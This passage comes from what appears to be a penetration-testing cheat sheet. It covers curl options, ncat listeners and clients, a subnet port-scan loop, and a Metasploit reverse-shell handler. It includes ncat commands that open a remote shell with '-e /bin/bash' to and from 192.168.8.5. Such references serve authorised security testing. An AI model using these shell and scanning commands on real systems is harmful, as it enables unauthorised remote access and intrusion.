| -T | Transfers the specified local file to the remote URL, same as PUT method |
| -v | Make the operation more talkative |
| -x | Use the specified proxy ([protocol://]host[:port]) |
| -X | Specifies a custom request method to use when communicating with the HTTP server |
Find out how to test a web server for various HTTP methods and method overrides at ivan-sincek/forbidden.
[Server] Set up a listener:
ncat -nvlp 9000
ncat -nvlp 9000 > received_data.txt
ncat -nvlp 9000 -e /bin/bash
ncat -nvlp 9000 -e /bin/bash --ssl
ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem
ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OKrnrn"
[Client] Connect to a remote host:
ncat -nv 192.168.8.5 9000
ncat -nv 192.168.8.5 9000 < sent_data.txt
ncat -nv 192.168.8.5 9000 -e /bin/bash
ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl
ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem
Find out how to create an SSL/TLS certificate at ivan-sincek/secure-website.
Check if connection to a specified TCP port (eg, port 22 or 23) is possible:
for i in {0..255} ; do ncat -nv " 192.168.8. ${i} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; done
for ip in $( cat ips.txt ) ; do ncat -nv " ${ip} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; doneSet up a listener (change the PAYLOAD, LHOST, and LPORT as necessary):
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit
Use ngrok to give your local web server a public address, but do not expose the web server for too long if it is not properly hardened due to security concerns.
I advise you not to transfer any sensitive data over it, just in case.
Credits to the authors!